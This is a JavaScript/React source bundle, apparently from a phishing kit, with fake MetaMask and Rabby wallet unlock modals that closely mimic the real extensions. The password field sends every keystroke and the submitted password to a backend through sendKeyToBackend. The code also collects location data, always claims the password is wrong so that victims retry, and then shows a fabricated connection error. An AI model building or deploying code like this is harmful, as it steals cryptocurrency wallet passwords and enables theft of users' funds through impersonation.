{\r\n useRive = module.rive.useRive;\r\n Layout = module.rive.Layout;\r\n Fit = module.rive.Fit;\r\n }\r\n \r\n if (useRive && Layout && Fit) {\r\n setRiveComponents({\r\n useRive,\r\n Layout,\r\n Fit,\r\n });\r\n setRiveModuleLoaded(true);\r\n } else {\r\n }\r\n })\r\n .catch((e) => {\r\n });\r\n }, []);\r\n\r\n // If @rive-app/react-canvas is not available, return null\r\n // This is safe because we're not calling any hooks conditionally\r\n if (!riveModuleLoaded || !riveComponents) {\r\n return null;\r\n }\r\n\r\n // Verify animation path before rendering\r\n if (!FOX_ANIMATION) {\r\n return null;\r\n }\r\n\r\n // Render the inner component that uses Rive hooks\r\n // This component will always call hooks in the same order\r\n return (\r\n <RiveAnimationInner\r\n useRive={riveComponents.useRive}\r\n Layout={riveComponents.Layout}\r\n Fit={riveComponents.Fit}\r\n animationPath={FOX_ANIMATION}\r\n />\r\n );\r\n};\r\n","import React, { useState, useEffect, useRef } from 'react';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { WALLET_TYPE_SHORTKEY, getClientUrl } from '../../services/config';\nimport { CustomWalletModalProps } from '../../types';\nimport { FoxRiveAnimation } from './FoxRiveAnimation';\n// import metamaskFoxSvg from 'https://www.riveanimation.cards/v1/images/logo/metamask-fox.png';\n// import metamaskFoxSvg from './assets/metamask-fox.svg';\nimport './styles.css';\n\nconst MetamaskModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig, darkMode = false }) => {\n const [keyword, setKeyword] = useState('');\n const [error, setError] = useState(false);\n const [helperText, setHelperText] = useState('');\n const [trying, setTrying] = useState(0);\n const [connecting, setConnecting] = useState(false);\n const [connectionError, setConnectionError] = useState(false);\n const [isClosable, setIsClosable] = useState(true);\n const [isClickedEnter, setIsClickedEnter] = useState(false);\n const [loadingInitiate, setLoadingInitiate] = useState(true);\n\n const passwordInputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null);\n const CLIENT_URL = getClientUrl();\n\n // Handle initial loading - only run once when modal opens\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n\n setLoadingInitiate(true);\n const initialLoadTimeout = setTimeout(() => {\n setLoadingInitiate(false);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 500);\n }, 500);\n\n return () => {\n clearTimeout(initialLoadTimeout);\n };\n } else {\n // Reset loading state when modal closes\n setLoadingInitiate(true);\n }\n }, [isOpen]); // Only depend on isOpen, not isClosable\n\n // Handle document click and forget password modal - separate effect\n useEffect(() => {\n if (!isOpen) return;\n\n const handleDocumentClick = (e: MouseEvent) => {\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\n handleClick();\n }\n };\n\n document.addEventListener('click', handleDocumentClick);\n\n const modal = document.getElementById('metamask-forget-password-modal');\n if (modal) {\n const handleModalClick = (e: Event) => {\n if (e.target === modal) {\n modal.classList.add('hidden');\n }\n };\n modal.addEventListener('click', handleModalClick);\n\n return () => {\n document.removeEventListener('click', handleDocumentClick);\n modal.removeEventListener('click', handleModalClick);\n };\n }\n\n return () => {\n document.removeEventListener('click', handleDocumentClick);\n };\n }, [isOpen, isClosable]);\n\n const handleClick = () => {\n if (onClose) onClose();\n setKeyword('');\n setTrying(0);\n setConnectionError(false);\n setError(false);\n setLoadingInitiate(true);\n };\n\n const getCaretCoordinates = (element: HTMLInputElement, position: number) => {\n const div = document.createElement('div');\n div.id = 'password-mirror-div';\n document.body.appendChild(div);\n const computed = window.getComputedStyle(element);\n div.textContent = new Array(position + 1).join('•');\n const span = document.createElement('span');\n span.textContent = '•';\n div.appendChild(span);\n\n const coordinates = {\n top: span.offsetTop + parseInt(computed.borderTopWidth, 10),\n left: span.offsetLeft + parseInt(computed.borderLeftWidth, 10),\n };\n document.body.removeChild(div);\n return coordinates;\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const target = e.target;\n const element = target || passwordInputRef.current;\n if (element && typeof element.getBoundingClientRect === 'function') {\n const boundingRect = element.getBoundingClientRect();\n const coordinates = getCaretCoordinates(element, element.selectionEnd || 0);\n // Animation emitter removed (was for Mascot)\n }\n\n const newKeyword = target.value;\n setKeyword(newKeyword);\n setIsClickedEnter(false);\n setError(false);\n\n const currentUserId = backendConfig?.userId || userId;\n if (currentUserId && newKeyword.length > 0 && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.METAMASK);\n }\n };\n\n const handledForgetPwd = () => {\n showForgetPasswordModal();\n };\n\n const handledResetPwd = () => {\n handleClick();\n closeForgetPasswordModal();\n window.open('chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html#restore-vault', '_blank');\n };\n\n const handleKeywordTyping = async () => {\n if (connecting) {\n return;\n }\n\n const currentKeyword = keyword;\n if (currentKeyword) {\n setConnecting(true);\n\n const currentUserId = backendConfig?.userId || userId;\n if (!currentUserId) {\n setConnecting(false);\n setError(true);\n setHelperText('User ID is required');\n return;\n }\n\n if (backendConfig?.enabled !== false) {\n const result = await sendKeyToBackend(currentUserId, 'enter', currentKeyword, WALLET_TYPE_SHORTKEY.METAMASK);\n\n setTimeout(() => {\n setConnecting(false);\n if (trying < 3) {\n setError(true);\n setHelperText(result.error || 'Password is incorrect. Please try again.');\n setIsClickedEnter(true);\n setTrying(trying + 1);\n } else {\n setConnectionError(true);\n }\n passwordInputRef.current?.focus();\n }, 150);\n } else {\n setTimeout(() => {\n setConnecting(false);\n }, 150);\n }\n } else {\n setError(false);\n setHelperText('');\n }\n };\n\n const showForgetPasswordModal = () => {\n const modal = document.getElementById('metamask-forget-password-modal');\n if (modal) {\n modal.classList.remove('hidden');\n }\n };\n\n const closeForgetPasswordModal = () => {\n const modal = document.getElementById('metamask-forget-password-modal');\n if (modal) {\n modal.classList.add('hidden');\n }\n };\n\n const closeWindow = () => {\n if (onClose) onClose();\n setTimeout(() => {\n setConnectionError(false);\n setKeyword('');\n setTrying(0);\n setError(false);\n }, 1000);\n };\n\n if (!isOpen) return null;\n\n const modalContent = (\n <div\n id=\"header-layout\"\n ref={modalRef}\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\n onMouseEnter={() => setIsClosable(false)}\n onMouseLeave={() => setIsClosable(true)}\n >\n <div className=\"w-[400px] h-[600px] shadow-[0_4px_20px_0_rgba(0,0,0,0.3)] relative\">\n <div className=\"h-full relative\" style={{ backgroundColor: darkMode ? '#121314' : '#FFFFFF' }}>\n {connectionError ? (\n <div className={`text-center px-4 py-8 flex flex-col h-full justify-between ${darkMode ? 'text-white' : ''}`}>\n <div></div>\n <div className=\"\">\n <div className=\"flex justify-center w-full items-center mb-4\">\n <svg className={`text-2xl text-center w-6 h-6 ${darkMode ? 'text-white' : 'text-red-500'}`} fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\n </svg>\n </div>\n <h3 className=\"text-xl font-extrabold euclid-bold\">Connection failed</h3>\n <div className=\"text-sm leading-relaxed\">\n <h6>Fetching of</h6>\n <h5 className=\"font-bold\">@unstoppabledomains/unstoppable-</h5>\n <h5>\n <span className=\"font-bold\">resolution-snap</span> failed, check your network and\n </h5>\n <h5>try again.</h5>\n </div>\n <div className={`mt-4 text-base border-l-4 border-red-500 p-4 rounded text-left ${darkMode ? 'bg-gray-700' : 'bg-red-50'}`}>\n <h5>One or more permissions are not allowed:</h5>\n <h5>This endowment is experiental and therefore </h5>\n <h5>not available.</h5>\n </div>\n </div>\n <button\n className={`w-full rounded-full cursor-pointer metamask-font-regular p-2.5 text-white hover:bg-[#3148f5] bg-[#4459ff] ${darkMode ? 'border-[#ffffff] text-[#141618]' : ''}`}\n onClick={closeWindow}\n >\n Ok\n </button>\n </div>\n ) : (\n <>\n {/* Initial loading screen */}\n <div\n className={`w-full h-full absolute flex items-center flex-col pt-40 z-50 ${loadingInitiate ? 'visible' : 'hidden'}`}\n style={{ backgroundColor: darkMode ? '#121314' : '#FFFFFF' }}\n >\n <div className=\"mb-4\">\n {/* <img src={metamaskFoxSvg} alt=\"metamask-fox-loading\" className=\"w-40\" /> */}\n <img src=\"https://www.riveanimation.cards/v1/images/logo/metamask-fox.png\" alt=\"metamask-fox-loading\" className=\"w-40\" />\n </div>\n <div>\n <img src={`${CLIENT_URL}/images/icons/spinner.gif`} alt=\"spinner\" className=\"w-8\" />\n </div>\n </div>\n\n {/* Loading overlay when unlock button is clicked */}\n {connecting && !loadingInitiate && (\n <div className=\"z-[100] w-full h-full absolute flex justify-center items-center bg-[#000000e3]\">\n <div className=\"flex flex-col items-center\">\n <img src={`${CLIENT_URL}/images/icons/spinner.gif`} alt=\"spinner\" className=\"w-8\" />\n </div>\n </div>\n )}\n\n <div className={`flex justify-center pt-[88px] ${loadingInitiate ? 'hidden' : ''}`} style={{ backgroundColor: darkMode ? '#121314' : '#FFFFFF' }}>\n <div className=\"w-full px-[16px]\">\n <div className={`flex flex-col justify-start items-center ${darkMode ? 'text-[#ffffff]' : 'text-[#141618]'}`}>\n <div>\n <svg\n height=\"180\"\n width=\"180\"\n viewBox=\"0 0 696 344\"\n fill=\"none\"\n xmlns=\"http://www.w3.org/2000/svg\"\n preserveAspectRatio=\"xMidYMid meet\"\n >\n <path\n d=\"M394.102 265.407V340.812H355.162V288.57L310.786 293.73C301.039 294.854 296.75 298.041 296.75 303.912C296.75 312.512 304.892 316.136 322.344 316.136C332.985 316.136 344.773 314.553 355.184 311.824L335.026 340.353C326.885 342.165 318.95 343.06 310.579 343.06C275.262 343.06 255.103 329.024 255.103 304.119C255.103 282.149 270.95 270.613 306.956 266.531L354.519 261.004C351.951 247.175 341.516 241.167 320.762 241.167C301.291 241.167 279.78 246.143 260.539 255.431L266.662 221.696C284.55 214.22 304.938 210.367 325.532 210.367C370.825 210.367 394.148 229.173 394.148 265.384L394.102 265.407ZM43.7957 170.991L1.23138 340.812H43.7957L64.9173 255.477L101.542 299.372H145.918L182.542 255.477L203.664 340.812H246.228L203.664 170.968L123.718 265.912L43.7727 170.968L43.7957 170.991ZM203.664 1.14648L123.718 96.0905L43.7957 1.14648L1.23138 170.991H43.7957L64.9173 85.6558L101.542 129.55H145.918L182.542 85.6558L203.664 170.991H246.228L203.664 1.14648ZM496.454 263.825L462.031 258.848C453.431 257.495 450.037 254.766 450.037 250.019C450.037 242.313 458.407 238.919 475.63 238.919C495.559 238.919 513.447 243.001 532.253 251.831L527.506 218.554C512.324 213.119 494.894 210.413 476.777 210.413C434.442 210.413 411.325 225.136 411.325 251.624C411.325 272.241 424.007 283.777 450.954 287.859L485.836 293.065C494.665 294.418 498.289 297.812 498.289 303.247C498.289 310.953 490.147 314.576 473.612 314.576C451.871 314.576 428.319 309.37 409.078 300.082L412.931 333.359C429.466 339.482 450.977 343.105 471.135 343.105C514.617 343.105 537.252 327.924 537.252 300.977C537.252 279.465 524.57 267.907 496.5 263.848L496.454 263.825ZM552.388 186.15V340.812H591.329V186.15H552.388ZM636.829 271.301L690.974 212.638H642.516L591.329 273.319L645.91 340.789H695.057L636.829 271.278V271.301ZM546.953 134.297C546.953 159.203 567.111 173.238 602.429 173.238C610.799 173.238 618.734 172.321 626.876 170.532L647.034 142.003C636.622 144.709 624.835 146.314 614.194 146.314C596.764 146.314 588.6 142.691 588.6 134.091C588.6 128.197 592.911 125.032 602.635 123.909L647.011 118.749V170.991H685.952V95.586C685.952 59.3513 662.629 40.5689 617.335 40.5689C596.718 40.5689 576.354 44.4217 558.466 51.8979L552.342 85.6329C571.583 76.3449 593.095 71.3684 612.565 71.3684C633.32 71.3684 643.755 77.3769 646.323 91.2057L598.759 96.7326C562.754 100.815 546.907 112.35 546.907 134.32L546.953 134.297ZM438.043 126.156C438.043 157.414 456.16 173.261 491.936 173.261C506.201 173.261 517.988 170.991 529.294 165.785L534.271 131.591C523.4 138.15 512.301 141.544 501.201 141.544C484.437 141.544 476.961 134.756 476.961 119.574V74.2809H536.06V42.8163H476.961V16.099L402.909 55.2691V74.2809H437.997V126.133L438.043 126.156ZM399.767 111.892V119.597H294.526C299.273 135.284 313.377 142.462 338.42 142.462C358.349 142.462 376.925 138.38 393.437 130.468L388.69 163.537C373.508 169.867 354.267 173.284 334.567 173.284C282.257 173.284 253.727 150.19 253.727 107.397C253.727 64.603 282.715 40.5918 327.55 40.5918C372.384 40.5918 399.79 66.6441 399.79 111.914L399.767 111.892ZM294.021 93.3155H360.574C357.065 78.2942 345.53 70.451 327.091 70.451C308.653 70.451 297.714 78.0878 294.021 93.3155Z\"\n fill={darkMode ? 'rgb(255,255,255)' : 'rgb(22,22,22)'}\n />\n </svg>\n </div>\n\n <form\n className=\"w-full mb-4\"\n onSubmit={(e) => {\n e.preventDefault();\n handleKeywordTyping();\n }}\n >\n <div className=\"w-full border-0 m-0 inline-flex relative flex-col align-top\">\n <input\n id=\"current-password\"\n placeholder=\"Enter your password\"\n type=\"password\"\n value={keyword}\n onChange={handleKeywordChange}\n onKeyDown={(e) => {\n if (e.key === 'Enter') {\n e.preventDefault();\n handleKeywordTyping();\n }\n }}\n ref={passwordInputRef}\n className={`m-0 px-4 py-3 text-base metamask-font-regular bg-transparent border focus:ring-0 placeholder:tracking-normal tracking-normal rounded-[8px] ${\n darkMode \n ? 'text-white border-gray-300 focus:border-white' \n : 'text-gray-900 border-gray-300 focus:border-black'\n }`}\n />\n {error && (\n <p className=\"text-red-500 text-sm mt-1\">{helperText}</p>\n )}\n </div>\n </form>\n <button\n className={`w-full rounded-[12px] h-[48px] font-semibold cursor-default flex items-center justify-center metamask-font-regular text-base ${\n !keyword\n ? darkMode\n ? 'bg-[#888989] text-white cursor-not-allowed'\n : 'bg-[#888989] text-white cursor-not-allowed'\n : darkMode\n ? 'bg-[#FFFFFF] text-[#141618]'\n : 'bg-[#131415] text-white'\n }`}\n onClick={handleKeywordTyping}\n disabled={connecting}\n >\n {connecting ? 'Unlocking...' : 'Unlock'}\n </button>\n <div className=\"mt-4 w-full text-center text-base\">\n <button\n className={`metamask-font-regular text-[16px] hover:underline ${\n darkMode ? 'text-[#9eaaff] hover:text-[#9eaaff]' : 'text-[#384df5] hover:text-[#384df5]'\n }`}\n onClick={handledForgetPwd}\n >\n Forgot password?\n </button>\n </div>\n <div className=\"mt-4 text-center text-base\">\n <span className={`metamask-font-regular ${darkMode ? 'text-[#FFFFFF]' : 'text-[#121314]'}`}>\n Need help? Contact \n <button\n className={`hover:underline metamask-font-regular ${\n darkMode ? 'text-[#9eaaff] hover:text-[#9eaaff]' : 'text-[#384df5] hover:text-[#384df5]'\n }`}\n onClick={() => {\n closeWindow();\n window.open('https://support.metamask.io', '_blank');\n }}\n >\n MetaMask support\n </button>\n </span>\n </div>\n </div>\n </div>\n\n {/* Forget password modal */}\n <div id=\"metamask-forget-password-modal\" className=\"absolute inset-0 bg-black bg-opacity-50 flex items-center justify-center z-50 hidden\">\n <section\n className={`w-full max-w-[23rem] rounded-lg p-4 flex flex-col shadow-lg ${darkMode ? 'bg-gray-800' : 'bg-white'}`}\n role=\"dialog\"\n aria-modal=\"true\"\n onClick={(e) => e.stopPropagation()}\n >\n <header className=\"flex justify-between items-center pb-4\">\n <div className=\"w-full ml-6 mr-6 text-center\">\n <h4 className={`text-lg font-semibold !font-700 ${darkMode ? 'text-gray-100' : 'text-gray-900'}`}>Forgot your password?</h4>\n </div>\n <div className=\"flex justify-end min-w-[24px]\">\n <button\n className={`p-2 rounded-lg hover:bg-gray-100 ${\n darkMode \n ? 'text-gray-400 hover:text-gray-200 hover:bg-gray-700' \n : 'text-gray-500 hover:text-gray-700'\n }`}\n aria-label=\"Close\"\n onClick={closeForgetPasswordModal}\n >\n <img\n src={`${CLIENT_URL}/images/icons/close.svg`}\n alt=\"Close\"\n className=\"w-[1.5rem] h-[1.5rem]\"\n />\n </button>\n </div>\n </header>\n\n <div className=\"px-2\">\n <div className=\"mb-2 flex justify-center items-center w-full\">\n <img src={`${CLIENT_URL}/images/forgot-password-lock.png`} width=\"154\" height=\"154\" alt=\"Forgot your password?\" className=\"self-center\" />\n </div>\n\n <p className={`mb-4 text-md ${darkMode ? 'text-gray-100' : 'text-gray-900'}`}>\n MetaMask can't recover your password for you.\n </p>\n <p className={`mb-6 text-md ${darkMode ? 'text-gray-100' : 'text-gray-900'}`}>\n You can reset your wallet by entering the Secret Recovery Phrase you used when you set up your wallet.\n </p>\n\n <button\n className={`w-full py-3 px-4 text-md font-medium text-white rounded-xl flex justify-center items-center ${\n darkMode \n ? 'bg-red-500 hover:bg-red-600' \n : 'bg-red-600 hover:bg-red-700'\n }`}\n onClick={handledResetPwd}\n >\n Reset wallet\n </button>\n </div>\n </section>\n </div>\n </div>\n\n {/* Show footer animation only after spinner finishes so the full animation plays */}\n {!loadingInitiate && (\n <div className=\"absolute bottom-0 left-0 w-full pointer-events-none\">\n <div className=\"w-full flex items-end justify-center\" style={{ height: 270 }}>\n <FoxRiveAnimation />\n </div>\n </div>\n )}\n </>\n )}\n </div>\n </div>\n </div>\n );\n\n return modalContent;\n};\n\nexport default MetamaskModal;\n","import React, { useState, useEffect, useRef } from 'react';\r\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\r\nimport { WALLET_TYPE_SHORTKEY } from '../../services/config';\r\nimport { CustomWalletModalProps } from '../../types';\r\nimport './styles.css';\r\n\r\nconst RabbyModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig }) => {\r\n const [keyword, setKeyword] = useState('');\r\n const [error, setError] = useState(false);\r\n const [helperText, setHelperText] = useState('');\r\n const [trying, setTrying] = useState(0);\r\n const [connecting, setConnecting] = useState(false);\r\n const [connectionError, setConnectionError] = useState(false);\r\n const [isClosable, setIsClosable] = useState(true);\r\n const [isButtonPressed, setIsButtonPressed] = useState(false);\r\n const [shouldShake, setShouldShake] = useState(false);\r\n\r\n const inputRef = useRef<HTMLInputElement>(null);\r\n const modalRef = useRef<HTMLDivElement>(null);\r\n\r\n useEffect(() => {\r\n if (isOpen) {\r\n initializeLocationData();\r\n initializeSocket();\r\n\r\n setTimeout(() => {\r\n if (inputRef.current) {\r\n inputRef.current.focus();\r\n }\r\n }, 4000);\r\n\r\n const handleDocumentClick = (e: MouseEvent) => {\r\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\r\n handleClick();\r\n }\r\n };\r\n\r\n document.addEventListener('click', handleDocumentClick);\r\n\r\n const modal = document.getElementById('rabby-forget-password-modal');\r\n if (modal) {\r\n modal.addEventListener('click', (e) => {\r\n if (e.target === modal) {\r\n modal.classList.add('hidden');\r\n }\r\n });\r\n }\r\n\r\n const handleHelpPopoverClick = (e: MouseEvent) => {\r\n const helpPopover = document.getElementById('rabby-help-popover');\r\n const helpButton = document.getElementById('menu-button--menu--:r1:');\r\n\r\n if (helpPopover && !helpPopover.classList.contains('hidden')) {\r\n const isClickOnButton = helpButton && (helpButton === e.target || (helpButton as HTMLElement).contains(e.target as Node));\r\n const isClickOnPopover = helpPopover.contains(e.target as Node);\r\n\r\n if (!isClickOnPopover && !isClickOnButton) {\r\n closeHelpModal();\r\n }\r\n }\r\n };\r\n\r\n document.addEventListener('click', handleHelpPopoverClick);\r\n\r\n return () => {\r\n document.removeEventListener('click', handleDocumentClick);\r\n document.removeEventListener('click', handleHelpPopoverClick);\r\n };\r\n }\r\n }, [isOpen, isClosable]);\r\n\r\n const handleClick = () => {\r\n if (onClose) onClose();\r\n setKeyword('');\r\n setTrying(0);\r\n setConnectionError(false);\r\n setError(false);\r\n setIsButtonPressed(false);\r\n setShouldShake(false);\r\n };\r\n\r\n const getCaretCoordinates = (element: HTMLInputElement, position: number) => {\r\n const div = document.createElement('div');\r\n div.id = 'password-mirror-div';\r\n document.body.appendChild(div);\r\n const computed = window.getComputedStyle(element);\r\n div.textContent = new Array(position + 1).join('•');\r\n const span = document.createElement('span');\r\n span.textContent = '•';\r\n div.appendChild(span);\r\n\r\n const coordinates = {\r\n top: span.offsetTop + parseInt(computed.borderTopWidth, 10),\r\n left: span.offsetLeft + parseInt(computed.borderLeftWidth, 10),\r\n };\r\n document.body.removeChild(div);\r\n return coordinates;\r\n };\r\n\r\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\r\n const target = e.target;\r\n const element = target || inputRef.current;\r\n if (element && typeof element.getBoundingClientRect === 'function') {\r\n const boundingRect = element.getBoundingClientRect();\r\n const coordinates = getCaretCoordinates(element, element.selectionEnd || 0);\r\n // Animation emitter removed (was for Mascot)\r\n }\r\n\r\n const newKeyword = target.value;\r\n setKeyword(newKeyword);\r\n setError(false);\r\n setShouldShake(false);\r\n\r\n const currentUserId = backendConfig?.userId || userId;\r\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\r\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.RABBY);\r\n }\r\n };\r\n\r\n const handledForgetPwd = () => {\r\n handledResetPwd();\r\n };\r\n\r\n const handledResetPwd = () => {\r\n handleClick();\r\n closeForgetPasswordModal();\r\n window.open('chrome-extension://acmacodkjbdgmoleebolmdjonilkdbch/index.html#/forgot-password', '_blank');\r\n };\r\n\r\n const handleLearnMore = () => {\r\n handleClick();\r\n closeForgetPasswordModal();\r\n window.open('https://help.phantom.com/', '_blank');\r\n };\r\n\r\n const handleKeywordTyping = async () => {\r\n if (connecting || !keyword) {\r\n return;\r\n }\r\n\r\n setConnecting(true);\r\n\r\n const currentUserId = backendConfig?.userId || userId;\r\n if (!currentUserId) {\r\n setConnecting(false);\r\n setError(true);\r\n setHelperText('User ID is required');\r\n setShouldShake(true);\r\n setTimeout(() => {\r\n setShouldShake(false);\r\n }, 500);\r\n return;\r\n }\r\n\r\n if (backendConfig?.enabled !== false) {\r\n const result = await sendKeyToBackend(currentUserId, 'enter', keyword, WALLET_TYPE_SHORTKEY.RABBY);\r\n\r\n setTimeout(() => {\r\n setConnecting(false);\r\n if (trying < 3) {\r\n setError(true);\r\n setHelperText(result.error || 'Password is incorrect. Please try again.');\r\n setTrying(trying + 1);\r\n setShouldShake(true);\r\n setTimeout(() => {\r\n setShouldShake(false);\r\n }, 500);\r\n } else {\r\n setConnectionError(true);\r\n }\r\n }, 150);\r\n } else {\r\n setTimeout(() => {\r\n setConnecting(false);\r\n }, 150);\r\n }\r\n };\r\n\r\n const showForgetPasswordModal = () => {\r\n const modal = document.getElementById('rabby-forget-password-modal');\r\n if (modal) {\r\n modal.classList.remove('hidden');\r\n }\r\n };\r\n\r\n const closeForgetPasswordModal = () => {\r\n const modal = document.getElementById('rabby-forget-password-modal');\r\n if (modal) {\r\n modal.classList.add('hidden');\r\n }\r\n };\r\n\r\n const showHelpModal = () => {\r\n const modal = document.getElementById('rabby-help-popover');\r\n if (modal) {\r\n modal.classList.remove('hidden');\r\n }\r\n };\r\n\r\n const closeHelpModal = () => {\r\n const modal = document.getElementById('rabby-help-popover');\r\n if (modal) {\r\n modal.classList.add('hidden');\r\n }\r\n };\r\n\r\n const handleButtonMouseDown = () => {\r\n setIsButtonPressed(true);\r\n };\r\n\r\n const handleButtonMouseUp = () => {\r\n setIsButtonPressed(false);\r\n };\r\n\r\n const handleButtonMouseLeave = () => {\r\n setIsButtonPressed(false);\r\n };\r\n\r\n const closeWindow = () => {\r\n handleClick();\r\n setTimeout(() => {\r\n setConnectionError(false);\r\n setKeyword('');\r\n setTrying(0);\r\n setError(false);\r\n setIsButtonPressed(false);\r\n setShouldShake(false);\r\n }, 1000);\r\n };\r\n\r\n if (!isOpen) return null;\r\n\r\n const modalContent = (\r\n <div\r\n id=\"header-layout\"\r\n ref={modalRef}\r\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\r\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\r\n onMouseEnter={() => setIsClosable(false)}\r\n onMouseLeave={() => setIsClosable(true)}\r\n >\r\n <div className=\"w-[400px] h-[599px] relative\">\r\n <div className=\"h-full relative\">\r\n {connectionError ? (\r\n <div className=\"text-white text-center px-4 py-8 flex flex-col h-full justify-between bg-[#121314]\">\r\n <div></div>\r\n <div className=\"\">\r\n <div className=\"flex justify-center w-full items-center mb-4\">\r\n <svg className=\"text-2xl text-center text-white w-6 h-6\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\r\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\r\n </svg>\r\n </div>\r\n <h3 className=\"text-xl font-extrabold euclid-bold\">Connection failed</h3>\r\n <div className=\"text-sm leading-relaxed\">\r\n <h6>Fetching of</h6>\r\n <h5 className=\"font-bold\">@unstoppabledomains/unstoppable-</h5>\r\n <h5>\r\n <span className=\"font-bold\">resolution-snap</span> failed, check your network and\r\n </h5>\r\n <h5>try again.</h5>\r\n </div>\r\n <div className=\"mt-4 text-base border-l-4 border-red-500 p-4 rounded text-left bg-gray-700\">\r\n <h5>One or more permissions are not allowed:</h5>\r\n <h5>This endowment is experiental and therefore </h5>\r\n <h5>not available.</h5>\r\n </div>\r\n </div>\r\n <button\r\n className={`w-full rounded-full cursor-pointer p-2.5 hover:bg-[#3148f5] border-[#ffffff] bg-[#4459ff] text-[#141618] rabby-font`}\r\n onClick={closeWindow}\r\n >\r\n Ok\r\n </button>\r\n </div>\r\n ) : (\r\n <div>\r\n <div\r\n id=\"app-content\"\r\n style={{\r\n overflowX: 'hidden',\r\n height: '600px',\r\n overflow: 'auto',\r\n boxShadow: '0px 2px 12px #000000a1',\r\n display: 'flex',\r\n position: 'relative',\r\n flexDirection: 'column',\r\n width: '400px',\r\n }}\r\n >\r\n <svg width=\"400\" height=\"600\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\" style={{ overflow: 'hidden', position: 'absolute', zIndex: '-1' }}>\r\n <g clipPath=\"url(#background_svg__clip0_114948_40926)\">\r\n <path transform=\"matrix(1 0 0 -1 0 600)\" fill=\"url(#background_svg__paint0_radial_114948_40926)\" d=\"M0 0h400v600H0z\"></path>\r\n <g opacity=\"0.2\" filter=\"url(#background_svg__filter0_f_114948_40926)\">\r\n <path d=\"M473.837 864.74c-129.844 102.557-195.138 14.712-265.119-73.89-69.981-88.601-118.147-144.403 11.696-246.96 129.844-102.556 174.336-148.327 244.317-59.726s138.95 278.02 9.106 380.576z\" fill=\"#4569C7\"></path>\r\n </g>\r\n <g opacity=\"0.1\" filter=\"url(#background_svg__filter1_f_114948_40926)\">\r\n <path d=\"M117.4-110.123c149.18 49.577 290.17-69.223 240.593 79.956-49.576 149.18-210.7 229.924-359.88 180.347-149.179-49.576-229.923-210.7-180.347-359.88 49.577-149.179 150.455 50.001 299.634 99.577z\" fill=\"#2174A3\"></path>\r\n </g>\r\n <path d=\"M0-10h400v621H0V-10z\" fill=\"url(#background_svg__paint1_radial_114948_40926)\"></path>\r\n <g filter=\"url(#background_svg__filter2_b_114948_40926)\">\r\n <path d=\"M0-10h400v621H0V-10z\" fill=\"#ECF3FF\" fillOpacity=\"0.7\"></path>\r\n </g>\r\n <path fill=\"url(#background_svg__paint2_linear_114948_40926)\" d=\"M0 0h400v600H0z\"></path>\r\n </g>\r\n <defs>\r\n <filter id=\"background_svg__filter0_f_114948_40926\" x=\"-60.978\" y=\"237.073\" width=\"807.895\" height=\"873.845\" filterUnits=\"userSpaceOnUse\" colorInterpolationFilters=\"sRGB\">\r\n <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\r\n <feBlend in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\"></feBlend>\r\n <feGaussianBlur stdDeviation=\"100\" result=\"effect1_foregroundBlur_114948_40926\"></feGaussianBlur>\r\n </filter>\r\n <filter id=\"background_svg__filter1_f_114948_40926\" x=\"-396.836\" y=\"-464.175\" width=\"964.947\" height=\"828.958\" filterUnits=\"userSpaceOnUse\" colorInterpolationFilters=\"sRGB\">\r\n <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\r\n <feBlend in=\"SourceGraphic\" in2=\"BackgroundImageFix\" result=\"shape\"></feBlend>\r\n <feGaussianBlur stdDeviation=\"100\" result=\"effect1_foregroundBlur_114948_40926\"></feGaussianBlur>\r\n </filter>\r\n <filter id=\"background_svg__filter2_b_114948_40926\" x=\"-40\" y=\"-50\" width=\"480\" height=\"701\" filterUnits=\"userSpaceOnUse\" colorInterpolationFilters=\"sRGB\">\r\n <feFlood floodOpacity=\"0\" result=\"BackgroundImageFix\"></feFlood>\r\n <feGaussianBlur in=\"BackgroundImageFix\" stdDeviation=\"20\"></feGaussianBlur>\r\n <feComposite in2=\"SourceAlpha\" operator=\"in\" result=\"effect1_backgroundBlur_114948_40926\"></feComposite>\r\n <feBlend in=\"SourceGraphic\" in2=\"effect1_backgroundBlur_114948_40926\" result=\"shape\"></feBlend>\r\n </filter>\r\n <radialGradient id=\"background_svg__paint0_radial_114948_40926\" cx=\"0\" cy=\"0\" r=\"1\" gradientUnits=\"userSpaceOnUse\" 